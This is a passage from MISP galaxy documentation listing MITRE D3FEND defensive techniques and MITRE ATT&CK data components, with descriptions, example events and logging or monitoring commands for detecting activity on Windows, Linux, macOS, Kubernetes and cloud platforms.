Restricting network traffic originating from untrusted networks destined towards a private host or enclave.

The tag is: *misp-galaxy:mitre-d3fend="Inbound Traffic Filtering"*

Table 9609. Table References

Links
https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering

Outbound Traffic Filtering

Restricting network traffic originating from a private host or enclave destined towards untrusted networks.

The tag is: *misp-galaxy:mitre-d3fend="Outbound Traffic Filtering"*

Table 9610. Table References

Links
https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering

Unlock Account

Restoring a user account's access to resources by unlocking a locked User Account.

The tag is: *misp-galaxy:mitre-d3fend="Unlock Account"*

Table 9611. Table References

Links
https://d3fend.mitre.org/technique/d3f:UnlockAccount

Host Reboot

Initiating a host's reboot sequence to terminate all running processes.

The tag is: *misp-galaxy:mitre-d3fend="Host Reboot"*

Table 9612. Table References

Links
https://d3fend.mitre.org/technique/d3f:HostReboot

Email Filtering

Filtering incoming email traffic based on specific criteria.

The tag is: *misp-galaxy:mitre-d3fend="Email Filtering"*

Table 9613. Table References

Links
https://d3fend.mitre.org/technique/d3f:EmailFiltering

mitre-data-component

Data components are parts of data sources. .

mitre-data-component is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Windows Registry Key Access - DC0050

The action of opening a specific Windows Registry key, typically to read its associated value. This activity can be used for system configuration, application settings retrieval, and security policies.

The tag is: *misp-galaxy:mitre-data-component="Windows Registry Key Access - DC0050"*

Table 9614. Table References

Links
https://attack.mitre.org/datacomponents/DC0050

Active Directory Object Access - DC0071

Object access refers to activities where AD objects (e.g., user accounts, groups, policies) are accessed or queried. Example: Windows Event ID 4661 logs object access attempts. Examples:

- Attribute Access: e.g., `userPassword`, `memberOf`, `securityDescriptor`.
- Group Enumeration: Enumerating critical group members (e.g., Domain Admins).
- User Attributes: Commonly accessed attributes like `samAccountName`, `lastLogonTimestamp`.
- Policy Access: Accessing GPOs to understand security settings.

Data Collection Measures:

- Audit Policies:
- Enable "Audit Directory Service Access" under Advanced Audit Policies (Success and Failure).
- Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Object AccessEnable: Audit Directory Service Access` (Success and Failure).
- Captured Events: IDs 4661, 4662.
- Event Forwarding: Use WEF to centralize logs for SIEM analysis.
- SIEM Integration: Collect and parse logs (e.g., 4661, 4662) using tools like Splunk or Azure Sentinel.
- Log Filtering:
- Focus on sensitive objects/attributes like:
- `Domain Admins` group.
- `userPassword`, `ntSecurityDescriptor`.
- Enable EDR Monitoring:
- Detect processes accessing sensitive AD objects (e.g., samAccountName, securityDescriptor).
- Log all attempts to enumerate critical groups (e.g., "Domain Admins").

The tag is: *misp-galaxy:mitre-data-component="Active Directory Object Access - DC0071"*

Table 9615. Table References

Links
https://attack.mitre.org/datacomponents/DC0071

Windows Registry Key Modification - DC0063

Changes made to an existing registry key or its values. These modifications can include altering permissions, modifying stored data, or updating configuration settings.

Data Collection Measures:

- Windows Event Logs
- Event ID 4657 - Registry Value Modified: Logs changes to registry values, including modifications to startup entries, security settings, or system configurations.
- Sysmon (System Monitor) for Windows
- Sysmon Event ID 13 - Registry Value Set: Captures changes to specific registry values.
- Sysmon Event ID 14 - Registry Key & Value Renamed: Logs renaming of registry keys, which may indicate evasion attempts.
- Endpoint Detection and Response (EDR) Solutions
- Monitor registry modifications for suspicious behavior.

The tag is: *misp-galaxy:mitre-data-component="Windows Registry Key Modification - DC0063"*

Table 9616. Table References

Links
https://attack.mitre.org/datacomponents/DC0063

Windows Registry Key Deletion - DC0045

The removal of a registry key within the Windows operating system.

Data Collection Measures:

- Windows Event Logs
- Event ID 4658 - Registry Key Handle Closed: Captures when a handle to a registry key is closed, which may indicate deletion.
- Event ID 4660 - Object Deleted: Logs when a registry key is deleted.
- Sysmon (System Monitor) for Windows
- Sysmon Event ID 12 - Registry Key Deleted: Logs when a registry key is removed.
- Sysmon Event ID 13 - Registry Value Deleted: Captures removal of specific registry values.
- Endpoint Detection and Response (EDR) Solutions
- Monitor registry deletions for suspicious behavior.

The tag is: *misp-galaxy:mitre-data-component="Windows Registry Key Deletion - DC0045"*

Table 9617. Table References

Links
https://attack.mitre.org/datacomponents/DC0045

Active Directory Credential Request - DC0084

Requests for authentication credentials via Kerberos or other methods like NTLM and LDAP queries. Examples:

- Kerberos TGT and Service Tickets (Event IDs 4768, 4769)
- NTLM Authentication Events
- LDAP Bind Requests.

The tag is: *misp-galaxy:mitre-data-component="Active Directory Credential Request - DC0084"*

Table 9618. Table References

Links
https://attack.mitre.org/datacomponents/DC0084

Windows Registry Key Creation - DC0056

Initial construction of a new registry key within the Windows operating system.

The tag is: *misp-galaxy:mitre-data-component="Windows Registry Key Creation - DC0056"*

Table 9619. Table References

Links
https://attack.mitre.org/datacomponents/DC0056

Active Directory Object Modification - DC0066

Changes to AD objects (e.g., users, groups, OUs) are logged as Event ID 5136 (Object Modification) or 5163 (Attribute Changes). Examples:

- User Account: Modifying attributes (e.g., group membership, enabling/disabling accounts).
- Group Membership: Adding/removing members.
- OU: Changing properties/permissions (e.g., delegation).
- Service Account: Modifying SPNs or other attributes.
- Object Attributes: Changes to passwords, logon hours, or control flags.

The tag is: *misp-galaxy:mitre-data-component="Active Directory Object Modification - DC0066"*

Table 9620. Table References

Links
https://attack.mitre.org/datacomponents/DC0066

Active Directory Object Deletion - DC0068

Object deletion in AD (e.g., user accounts, groups, OUs) is logged as Event ID 5141. Examples:

- User Account: Deleted user.
- Group: Deleted security/distribution group.
- Organizational Unit (OU): Loss of configurations or policies.
- Service Account: Disrupted operations or cover tracks.
- Trust Object: Removed domain trust, disrupting connectivity.

Data Collection Measures:

- Audit Policy:
- Enable "Audit Directory Service Changes" (Success and Failure).
- Path: `Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Directory Service Changes`.

- Key Event: Event ID 5141.
- Log Forwarding: Use WEF to centralize logs for SIEM tools (e.g., Splunk).
- Enable EDR Monitoring:
- Detect processes or users that initiate unauthorized object deletions.
- Monitor tools and scripts that may delete key directory objects.

The tag is: *misp-galaxy:mitre-data-component="Active Directory Object Deletion - DC0068"*

Table 9621. Table References

Links
https://attack.mitre.org/datacomponents/DC0068

Active Directory Object Creation - DC0087

Creating new objects in AD, such as user accounts, groups, organizational units (OUs), or trust relationships. Logged as Event ID 5137. Examples:

- User Account Creation: New user account.
- Group Creation: New security/distribution group.
- OU Creation: New organizational unit.
- Service Account Creation: New service account for automation or malicious tasks.
- Trust Object Creation: Trust relationship with another domain.

The tag is: *misp-galaxy:mitre-data-component="Active Directory Object Creation - DC0087"*

Table 9622. Table References

Links
https://attack.mitre.org/datacomponents/DC0087

User Account Modification - DC0010

Changes made to an existing user, service, or machine account, including alterations to attributes, permissions, roles, authentication methods, or group memberships.

The tag is: *misp-galaxy:mitre-data-component="User Account Modification - DC0010"*

Table 9623. Table References

Links
https://attack.mitre.org/datacomponents/DC0010

Scheduled Job Creation - DC0001

The establishment of a task or job that will execute at a predefined time or based on specific triggers.

The tag is: *misp-galaxy:mitre-data-component="Scheduled Job Creation - DC0001"*

Table 9624. Table References

Links
https://attack.mitre.org/datacomponents/DC0001

User Account Authentication - DC0002

An attempt (successful and failed login attempts) by a user, service, or application to gain access to a network, system, or cloud-based resource. This typically involves credentials such as passwords, tokens, multi-factor authentication (MFA), or biometric validation.

The tag is: *misp-galaxy:mitre-data-component="User Account Authentication - DC0002"*

Table 9625. Table References

Links
https://attack.mitre.org/datacomponents/DC0002

Scheduled Job Metadata - DC0005

Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.

The tag is: *misp-galaxy:mitre-data-component="Scheduled Job Metadata - DC0005"*

Table 9626. Table References

Links
https://attack.mitre.org/datacomponents/DC0005

Web Credential Creation - DC0006

Initial construction of new web credential material (ex: Windows EID 1200 or 4769)

The tag is: *misp-galaxy:mitre-data-component="Web Credential Creation - DC0006"*

Table 9627. Table References

Links
https://attack.mitre.org/datacomponents/DC0006

Cloud Service Metadata - DC0070

Cloud service metadata refers to the contextual and descriptive information about cloud services, including their name, type, purpose, configuration, and activity around them. This metadata is essential for understanding the roles and functions of cloud services, their operational status, and their potential misuse. Examples:

- Azure Service Metadata: Metadata describing a resource in Azure, such as an Azure Storage Account or a Virtual Machine.
- AWS Cloud Service Metadata: Metadata for an AWS EC2 instance collected using the `DescribeInstances` API call.
- Google Cloud Service Metadata: Metadata for a Google Compute Engine instance collected using `gcloud compute instances describe`.
- Office 365 Metadata: Metadata about an Office 365 SharePoint site.

The tag is: *misp-galaxy:mitre-data-component="Cloud Service Metadata - DC0070"*

Table 9628. Table References

Links
https://attack.mitre.org/datacomponents/DC0070

Web Credential Usage - DC0007

An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)

The tag is: *misp-galaxy:mitre-data-component="Web Credential Usage - DC0007"*

Table 9629. Table References

Links
https://attack.mitre.org/datacomponents/DC0007

User Account Deletion - DC0009

The removal of a user, service, or machine account from an operating system, cloud identity management system, or directory service.

The tag is: *misp-galaxy:mitre-data-component="User Account Deletion - DC0009"*

Table 9630. Table References

Links
https://attack.mitre.org/datacomponents/DC0009

Cloud Service Disable - DC0090

This data component refers to monitoring actions that deactivate or stop a cloud service in a cloud control plane. Examples include disabling essential logging services like AWS CloudTrail (`StopLogging` API call), Microsoft Azure Monitor Logs, or Google Cloud's Operations Suite (formerly Stackdriver). Disabling such services can hinder visibility into adversary activities within the cloud environment. Examples:

- AWS CloudTrail StopLogging: This action stops logging of API activity for a particular trail, effectively reducing the monitoring and visibility of AWS resources and activities.
- Microsoft Azure Monitor Logs: Disabling these logs hinders the organization's ability to detect anomalous activities and trace malicious actions.
- Google Cloud Logging: Disabling cloud logging removes visibility into resource activity, preventing monitoring of service access or configuration changes.
- SaaS Applications: Stopping logging removes visibility into user activities, such as email access or file downloads, enabling undetected malicious behavior.

The tag is: *misp-galaxy:mitre-data-component="Cloud Service Disable - DC0090"*

Table 9631. Table References

Links
https://attack.mitre.org/datacomponents/DC0090

OS API Execution - DC0021

Calls made by a process to operating system-provided Application Programming Interfaces (APIs). These calls are essential for interacting with system resources such as memory, files, and hardware, or for performing system-level tasks. Monitoring these calls can provide insight into a process's intent, especially if the process is malicious.

The tag is: *misp-galaxy:mitre-data-component="OS API Execution - DC0021"*

Table 9632. Table References

Links
https://attack.mitre.org/datacomponents/DC0021

Network Share Access - DC0102

Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)

The tag is: *misp-galaxy:mitre-data-component="Network Share Access - DC0102"*

Table 9633. Table References

Links

https://attack.mitre.org/datacomponents/DC0102

Scheduled Job Modification - DC0012

Changes made to an existing scheduled job, including modifications to its execution parameters, command payload, or execution timing.

The tag is: *misp-galaxy:mitre-data-component="Scheduled Job Modification - DC0012"*

Table 9634. Table References

Links
https://attack.mitre.org/datacomponents/DC0012

User Account Metadata - DC0013

Contextual data about an account, which may include a username, user ID, environmental data, etc.

The tag is: *misp-galaxy:mitre-data-component="User Account Metadata - DC0013"*

Table 9635. Table References

Links
https://attack.mitre.org/datacomponents/DC0013

Kernel Module Load - DC0031

The process of loading a kernel module into the operating system kernel. Kernel modules are object files that extend the kernel's functionality, such as adding support for device drivers, new filesystems, or additional system calls. This action can be legitimate (e.g., loading a driver) or malicious (e.g., adding a rootkit).

Data Collection Measures:

- Linux:
- Auditd: Enable auditing of kernel module loading. Example rule: `-a always,exit -F arch=b64 -S init_module,delete_module`.
- Syslog: Monitor `/var/log/syslog` or `/var/log/messages` for entries related to kernel module loads.
- Systemd Journal: Use `journalctl` to query logs for module loading events: `journalctl -k | grep "Loading kernel module"`
- macOS:
- Unified Logs: Use the `log` command to query kernel module events: `log show --predicate 'eventMessage contains "kextload"' --info`
- Endpoint Security Framework (ESF): Monitor for `ES_EVENT_TYPE_AUTH_KEXTLOAD` (kernel extension loading events).

- Kernel-Specific Tools:
- Lsmod: Use `lsmod` to list loaded kernel modules in real-time.
- Kprobe/eBPF: Use extended Berkeley Packet Filter (eBPF) or Kernel Probes (kprobes) to monitor kernel events, including module loading. Example using eBPF tools like BCC: `sudo python /path/to/bcc/tools/kprobe -v do_init_module`
- Enable EDR Monitoring:
- Configure alerts for: Suspicious kernel module loads from non-standard paths (e.g., /tmp). Unexpected or unsigned kernel modules.
- Review detailed telemetry data provided by the EDR for insight into who initiated the module load, the file path, and whether the module was signed.

The tag is: *misp-galaxy:mitre-data-component="Kernel Module Load - DC0031"*

Table 9636. Table References

Links
https://attack.mitre.org/datacomponents/DC0031

User Account Creation - DC0014

The initial establishment of a new user, service, or machine account within an operating system, cloud environment, or identity management system.

The tag is: *misp-galaxy:mitre-data-component="User Account Creation - DC0014"*

Table 9637. Table References

Links
https://attack.mitre.org/datacomponents/DC0014

Firewall Rule Modification - DC0051

The creation, deletion, or alteration of firewall rules to allow or block specific network traffic. Monitoring changes to these rules is critical for detecting misconfigurations, unauthorized access, or malicious attempts to bypass network protections. Examples:

- Rule Creation: Adding a new rule to allow inbound traffic on port 3389 (RDP).
- Rule Deletion: Deleting a rule that blocks inbound traffic from untrusted IP ranges.
- Rule Modification: Changing a rule to allow traffic from "any" source IP instead of a specific trusted range.
- Audit Log Metadata: Logs indicating "Firewall rule modified by admin@domain.com."
- Platform-Specific Scenarios
- Azure: Altering rules in an Azure Network Security Group (NSG).
- AWS: Modifying Security Group rules to allow traffic.

- Windows: Changes tracked in Security Event Logs (EID 4950 or 4951).

This data component can be collected through the following measures:

Cloud Control Plane

- Azure: Collect rule modification logs from Azure Firewall Activity Logs.
- Example Command: `az network firewall policy rule-collection-group rule-collection list --policy-name <policy-name>`
- AWS: Use CloudTrail to track `AuthorizeSecurityGroupIngress` or `RevokeSecurityGroupIngress` actions. Example: `aws ec2 describe-security-groups`
- Google Cloud: Use gcloud commands to extract firewall rules: `gcloud compute firewall-rules list --format=json`

Host-Based Firewalls

- Windows:
- Collect events from the Windows Security Event Log (EID 4950: A rule has been modified).
- Use PowerShell to track rule changes: `Get-NetFirewallRule -PolicyStore PersistentStore`
- Linux:
- Monitor iptables or nftables rule modifications: `iptables -L -v`
- Use auditd for real-time monitoring: `auditctl -w /etc/iptables.rules -p wa`
- macOS: Use pfctl to monitor rule changes: `sudo pfctl -sr`

SIEM Integration

- Collect logs from cloud platforms, host systems, and network appliances for centralized monitoring.

API Monitoring

- Monitor API calls for firewall rule modifications.

The tag is: *misp-galaxy:mitre-data-component="Firewall Rule Modification - DC0051"*

Table 9638. Table References

Links
https://attack.mitre.org/datacomponents/DC0051

Cloud Storage Enumeration - DC0017

Cloud Storage Enumeration involves retrieving a list of available cloud storage infrastructure, such as buckets, containers, or objects, within a cloud environment. This activity may be performed for legitimate administrative purposes or malicious reconnaissance by adversaries seeking to identify accessible storage resources.Examples:

- AWS S3 Bucket Enumeration: An AWS user lists all buckets using the `ListBuckets` API call.
- Azure Blob Storage Container Enumeration: A user retrieves a list of all containers within a storage account using the Azure Storage SDK or API.
- Google Cloud Storage Bucket Enumeration: A Google Cloud user lists all buckets within a project using the `storage.buckets.list` API.
- OpenStack Swift Container Enumeration: A user retrieves a list of containers in OpenStack Swift using the `GET` method on the storage endpoint.

The tag is: *misp-galaxy:mitre-data-component="Cloud Storage Enumeration - DC0017"*

Table 9639. Table References

Links
https://attack.mitre.org/datacomponents/DC0017

Cloud Storage Deletion - DC0022

Cloud Storage Deletion refers to the removal or destruction of cloud storage infrastructure, such as buckets, containers, or directories, within a cloud environment. Monitoring this activity is critical to detecting potential unauthorized or malicious actions, such as data destruction by adversaries or accidental deletions that may lead to data loss. Examples:

- AWS S3 Bucket Deletion: An AWS user deletes an S3 bucket using the `DeleteBucket` API call.
- Azure Blob Storage Container Deletion: A user deletes a container in Azure Blob Storage using the `Delete Container` operation.
- Google Cloud Storage Bucket Deletion: A Google Cloud user deletes a bucket using the `storage.buckets.delete` API.
- OpenStack Swift Container Deletion: A user deletes a container in OpenStack Swift using the `DELETE` method.

This data component can be collected through the following measures:

Enable Logging for Cloud Storage Services

- AWS S3: Enable AWS CloudTrail to log DeleteBucket API actions.
- Azure Blob Storage: Enable Azure Monitor and Diagnostic Logs to capture Delete Container operations. Use Azure Event Grid to capture and trigger alerts for container deletion.
- Google Cloud Storage: Enable Data Access logs in Cloud Audit Logs to monitor storage.buckets.delete API calls.
- OpenStack Swift: Configure Swift logging to capture DELETE requests for containers.

Centralized Logging and Analysis

- Use platforms like Splunk or native SIEMs to forward and analyze logs for anomalies in cloud storage deletions.

The tag is: *misp-galaxy:mitre-data-component="Cloud Storage Deletion - DC0022"*

Table 9640. Table References

Links
https://attack.mitre.org/datacomponents/DC0022

Cloud Storage Modification - DC0023

Cloud Storage Modification involves tracking changes made to cloud storage infrastructure, including updates to settings, permissions, or stored data. Examples include modifying object access control lists (ACLs), uploading new objects, or updating bucket policies. Examples:

AWS S3: An object is uploaded or its ACL is modified. - Azure Blob Storage: A blob's metadata or permissions are updated. - Google Cloud Storage: An object's lifecycle policy is updated, or a bucket policy is changed. - OpenStack Swift: Modifications to container settings or uploading of new objects.

The tag is: *misp-galaxy:mitre-data-component="Cloud Storage Modification - DC0023"*

Table 9641. Table References

Links
https://attack.mitre.org/datacomponents/DC0023

Cloud Storage Creation - DC0024

Cloud Storage Creation refers to the initial creation of a new cloud storage resource, such as buckets, containers, or directories, within a cloud environment. This action is critical to track as it might indicate the legitimate provisioning of resources or unauthorized actions taken by adversaries to stage, store, or exfiltrate data. Examples:

- AWS S3 Bucket Creation: An AWS user creates a new S3 bucket using the `CreateBucket` API call.
- Azure Blob Storage Container Creation: A user creates a new container in Azure Blob Storage using the `Create Container` operation.
- Google Cloud Storage Bucket Creation: A Google Cloud user creates a new bucket using `storage.buckets.create`.
- OpenStack Swift Container Creation: A user creates a new container in OpenStack Swift using the `PUT` method.

The tag is: *misp-galaxy:mitre-data-component="Cloud Storage Creation - DC0024"*

Table 9642. Table References

Links
https://attack.mitre.org/datacomponents/DC0024

Cloud Storage Access - DC0025

Cloud storage access refers to the retrieval or interaction with data stored in cloud infrastructure. This data component includes activities such as reading, downloading, or accessing files and objects within cloud storage systems. Common examples include API calls like GetObject in AWS S3, which retrieves objects from cloud buckets. Examples:

- AWS S3 Access: An adversary uses the `GetObject` API to retrieve sensitive data from an AWS S3 bucket.
- Azure Blob Storage Access: A user accesses a blob in Azure Storage using `Get Blob` or `Get Blob Properties`.
- Google Cloud Storage Access: An adversary uses `storage.objects.get` to download objects from - OpenStack Swift Storage Access: A user retrieves an object from OpenStack Swift using the `GET` method.

The tag is: *misp-galaxy:mitre-data-component="Cloud Storage Access - DC0025"*

Table 9643. Table References

Links
https://attack.mitre.org/datacomponents/DC0025

Cloud Storage Metadata - DC0027

Cloud Storage Metadata provides contextual information about cloud storage infrastructure and its associated activity. This data may include attributes such as storage name, size, owner, permissions, creation date, region, and activity metadata. It is essential for monitoring, auditing, and identifying anomalies in cloud storage environments. Examples:

- AWS S3 Bucket Metadata: Metadata about an S3 bucket includes the bucket name, region, creation date, owner, storage class, and permissions.
- Azure Blob Storage Metadata: Metadata for an Azure Blob container includes container name, access level (e.g., private or public), size, and tags.
- Google Cloud Storage Metadata: Metadata includes bucket name, storage class, location, labels, lifecycle policies, and versioning status.
- OpenStack Swift Metadata: Metadata for a Swift container includes name, access level, quota, and custom attributes.

The tag is: *misp-galaxy:mitre-data-component="Cloud Storage Metadata - DC0027"*

Table 9644. Table References

Links
https://attack.mitre.org/datacomponents/DC0027

Network Connection Creation - DC0082

The initial establishment of a network session, where a system or process initiates a connection to a local or remote endpoint. This typically involves capturing socket information (source/destination IP, ports, protocol) and tracking session metadata. Monitoring these events helps detect lateral movement, exfiltration, and command-and-control (C2) activities.

Data Collection Measures:

- Windows:
- Event ID 5156 – Filtering Platform Connection - Logs network connections permitted by Windows Filtering Platform (WFP).
- Sysmon Event ID 3 – Network Connection Initiated - Captures process, source/destination IP, ports, and parent process.
- Linux/macOS:
- Netfilter (iptables), nftables logs - Tracks incoming and outgoing network connections.
- AuditD (`connect` syscall) - Logs TCP, UDP, and ICMP connections.
- Zeek (`conn.log`) - Captures protocol, duration, and bytes transferred.
- Cloud & Network Infrastructure:
- AWS VPC Flow Logs / Azure NSG Flow Logs - Logs IP traffic at the network level in cloud environments.
- Zeek (conn.log) or Suricata (network events) - Captures packet metadata for detection and correlation.
- Endpoint Detection & Response (EDR):
- Detect anomalous network activity such as new C2 connections or data exfiltration attempts.

The tag is: *misp-galaxy:mitre-data-component="Network Connection Creation - DC0082"*

Table 9645. Table References

Links
https://attack.mitre.org/datacomponents/DC0082

Application Log Content - DC0038

Application Log Content refers to logs generated by applications or services, providing a record of their activity. These logs may include metrics, errors, performance data, and operational alerts from web, mail, or other applications. These logs are vital for monitoring application behavior and detecting malicious activities or anomalies. Examples:

- Web Application Logs: These logs include information about requests, responses, errors, and security events (e.g., unauthorized access attempts).
- Email Application Logs: Logs contain metadata about emails sent, received, or blocked (e.g., sender/receiver addresses, message IDs).

- SaaS Application Logs: Activity logs include user logins, configuration changes, and access to sensitive resources.
- Cloud Application Logs: Logs detail control plane activities, including API calls, instance modifications, and network changes.
- System/Application Monitoring Logs: Logs provide insights into application performance, errors, and anomalies.

The tag is: *misp-galaxy:mitre-data-component="Application Log Content - DC0038"*

Table 9646. Table References

Links
https://attack.mitre.org/datacomponents/DC0038

Cloud Service Enumeration - DC0083

Cloud service enumeration involves listing or querying available cloud services in a cloud control plane. This activity is often performed to identify resources such as virtual machines, storage buckets, compute clusters, or other services within a cloud environment. Examples include API calls like `AWS ECS ListServices`, `Azure ListAllResources`, or `Google Cloud ListInstances`. Examples:

AWS Cloud Service Enumeration: The adversary gathers details about existing ECS services to identify opportunities for privilege escalation or exfiltration. - Azure Resource Enumeration: The adversary collects information about virtual machines, resource groups, and other Azure assets for reconnaissance purposes. - Google Cloud Resource Enumeration: The attacker seeks to map the environment and find misconfigured or underutilized resources for exploitation. - Office 365 Service Enumeration: The attacker may look for data repositories or collaboration tools to exfiltrate sensitive information.

The tag is: *misp-galaxy:mitre-data-component="Cloud Service Enumeration - DC0083"*

Table 9647. Table References

Links
https://attack.mitre.org/datacomponents/DC0083

Named Pipe Metadata - DC0048

Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)

Data Collection Measures:

- Windows:
- Sysmon Event ID 17: Logs the creation of a named pipe.
- Sysmon Event ID 18: Logs connection attempts to a named pipe.
- Windows Security Event ID 5145: Logs access attempts to named pipes via SMB shares.

- ETW (Event Tracing for Windows): Provides deep telemetry into named pipe interactions.
- Linux/macOS:
- AuditD (`mkfifo`, `open`, `read`, `write` syscalls): Tracks FIFO (named pipe) creation and usage.
- Lsof (`lsof -p <PID>` or `lsof | grep PIPE`): Lists active named pipes and associated processes.
- Strace (`strace -e open <process>`): Monitors named pipe interactions.
- Endpoint Detection & Response (EDR):
- Capture named pipe events as part of process tracking.
- Memory Forensics:
- Volatility Plugin (`pipescan`): Enumerates named pipes in system memory.
- Rekall Framework: Identifies active named pipes and associated processes.

The tag is: *misp-galaxy:mitre-data-component="Named Pipe Metadata - DC0048"*

Table 9648. Table References

Links
https://attack.mitre.org/datacomponents/DC0048

Network Traffic Content - DC0085

The full packet capture (PCAP) or session data that logs both protocol headers and payload content. This allows analysts to inspect command and control (C2) traffic, exfiltration, and other suspicious activity within network communications. Unlike metadata-based logs, full content analysis enables deeper protocol inspection, payload decoding, and forensic investigations.

Data Collection Measures:

- Network Packet Capture (Full Content Logging)
- Wireshark / tcpdump / tshark
- Full packet captures (PCAP files) for manual analysis or IDS correlation. `tcpdump -i eth0 -w capture.pcap`
- Zeek (formerly Bro)
- Extracts protocol headers and payload details into structured logs. `echo "redef Log::default_store = Log::ASCII;" > local.zeek | zeek -Cr capture.pcap local.zeek`
- Suricata / Snort (IDS/IPS with PCAP Logging)
- Deep packet inspection (DPI) with signature-based and behavioral analysis. `suricata -c /etc/suricata/suricata.yaml -i eth0 -l /var/log/suricata`
- Host-Based Collection
- Sysmon Event ID 22 – DNS Query Logging, Captures DNS requests made by processes, useful for detecting C2 domains.
- Sysmon Event ID 3 – Network Connection Initiated, Logs process-to-network connection

relationships.

- AuditD (Linux) – syscall=connect, Monitors outbound network requests from processes. `auditctl -a always,exit -F arch=b64 -S connect -k network_activity`
- Cloud & SaaS Traffic Collection
- AWS VPC Flow Logs / Azure NSG Flow Logs / Google VPC Flow Logs, Captures metadata about inbound/outbound network traffic.
- Cloud IDS (AWS GuardDuty, Azure Sentinel, Google Chronicle), Detects malicious activity in cloud environments by analyzing network traffic patterns.

The tag is: *misp-galaxy:mitre-data-component="Network Traffic Content - DC0085"*

Table 9649. Table References

Links
https://attack.mitre.org/datacomponents/DC0085

Logon Session Creation - DC0067

The successful establishment of a new user session following a successful authentication attempt. This typically signifies that a user has provided valid credentials or authentication tokens, and the system has initiated a session associated with that user account. This data is crucial for tracking authentication events and identifying potential unauthorized access. Examples:

- Windows Systems
- Event ID: 4624
- Logon Type: 2 (Interactive) or 10 (Remote Interactive via RDP).
- Account Name: JohnDoe
- Source Network Address: 192.168.1.100
- Authentication Package: NTLM
- Linux Systems
- /var/log/utmp or /var/log/wtmp:
- Log format: login user [tty] from [source_ip]
- User: jane
- IP: 10.0.0.5
- Timestamp: 2024-12-28 08:30:00
- macOS Systems
- /var/log/asl.log or unified logging framework:
- Log: com.apple.securityd: Authentication succeeded for user 'admin'
- Cloud Environments
- Azure Sign-In Logs:

- Activity: Sign-in successful
- Client App: Browser
- Location: Unknown (Country: X)
- Google Workspace
- Activity: Login
- Event Type: successful_login
- Source IP: 203.0.113.55

The tag is: *misp-galaxy:mitre-data-component="Logon Session Creation - DC0067"*

Table 9650. Table References

Links
https://attack.mitre.org/datacomponents/DC0067

Cloud Service Modification - DC0069

Cloud service modification refers to changes made to the configuration, settings, or data of a cloud service. These modifications can include administrative changes such as enabling or disabling features, altering permissions, or deleting critical components. Monitoring these changes is critical to detect potential misconfigurations or malicious activity. Examples:

- AWS Cloud Service Modifications: A user disables AWS CloudTrail logging (StopLogging) or deletes a CloudWatch configuration rule (DeleteConfigRule).
- Azure Cloud Service Modifications: Changes to Azure Role-Based Access Control (RBAC) roles, such as adding a new Contributor role to a sensitive resource.
- Google Cloud Service Modifications: Deletion of a Google Cloud Storage bucket or disabling a Google Cloud Function.
- Office 365 Cloud Service Modifications: Altering mailbox permissions or disabling auditing in Microsoft 365.

The tag is: *misp-galaxy:mitre-data-component="Cloud Service Modification - DC0069"*

Table 9651. Table References

Links
https://attack.mitre.org/datacomponents/DC0069

Network Traffic Flow - DC0078

Summarized network packet data that captures session-level details such as source/destination IPs, ports, protocol types, timestamps, and data volume, without storing full packet payloads. This is commonly used for traffic analysis, anomaly detection, and network performance monitoring.

The tag is: *misp-galaxy:mitre-data-component="Network Traffic Flow - DC0078"*

Table 9652. Table References

Links
https://attack.mitre.org/datacomponents/DC0078

Logon Session Metadata - DC0088

Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it

The tag is: *misp-galaxy:mitre-data-component="Logon Session Metadata - DC0088"*

Table 9653. Table References

Links
https://attack.mitre.org/datacomponents/DC0088

Volume Metadata - DC0100

Contextual data about a cloud volume and activity around it, such as id, type, state, and size

The tag is: *misp-galaxy:mitre-data-component="Volume Metadata - DC0100"*

Table 9654. Table References

Links
https://attack.mitre.org/datacomponents/DC0100

Process Modification - DC0020

Changes made to a running process, such as writing data into memory, modifying execution behavior, or injecting code into an existing process. Adversaries frequently modify processes to execute malicious payloads, evade detection, or gain escalated privileges.

The tag is: *misp-galaxy:mitre-data-component="Process Modification - DC0020"*

Table 9655. Table References

Links
https://attack.mitre.org/datacomponents/DC0020

Malware Metadata - DC0003

Contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information

The tag is: *misp-galaxy:mitre-data-component="Malware Metadata - DC0003"*

Table 9656. Table References

Links
https://attack.mitre.org/datacomponents/DC0003

Pod Modification - DC0030

Changes made to a pod's configuration or control data within a containerized cluster. This can include updating settings such as resource limits, environment variables, annotations, labels, or even the containers running within the pod. Pod modifications are often executed using commands like kubectl set, kubectl patch, or kubectl edit.

Data Collection Measures:

- Kubernetes API Server Audit Logs:
- Capture all API calls related to pod modification, such as PATCH, PUT, or UPDATE methods on v1/pods.
- Runtime Security Tools:
- Tools like Falco, Sysdig, and Kube-bench can monitor pod modifications at runtime and alert on policy violations.
- Container Orchestration Logs:
- Monitor events logged by Kubernetes itself (e.g., `kubectl logs -n kube-system kube-controller-manager`).
- SIEM and EDR Solutions:
- Use SIEM platforms (e.g., Splunk) to aggregate API server logs and detect patterns of unauthorized or suspicious pod modifications.
- Endpoint Detection and Response (EDR) tools configured with container visibility can monitor commands like `kubectl` set or `kubectl patch`.
- Host-Based Monitoring:
- Collect and analyze logs for processes executing `kubectl` commands or interacting with Kubernetes configuration files (e.g., `.kube/config`).

The tag is: *misp-galaxy:mitre-data-component="Pod Modification - DC0030"*

Table 9657. Table References

Links
https://attack.mitre.org/datacomponents/DC0030

File Deletion - DC0040

Refers to events where files are removed from a system or storage device. These events can indicate legitimate housekeeping activities or malicious actions such as attackers attempting to cover their tracks. Monitoring file deletions helps organizations identify unauthorized or suspicious activities.

The tag is: *misp-galaxy:mitre-data-component="File Deletion - DC0040"*

Table 9658. Table References

Links
https://attack.mitre.org/datacomponents/DC0040

Firmware Modification - DC0004

Changes made to firmware, which may include its settings, configurations, or underlying data. This can encompass alterations to the Master Boot Record (MBR), Volume Boot Record (VBR), or other firmware components critical to system boot and functionality. Such modifications are often indicators of adversary activity, including malware persistence and system compromise. Examples:

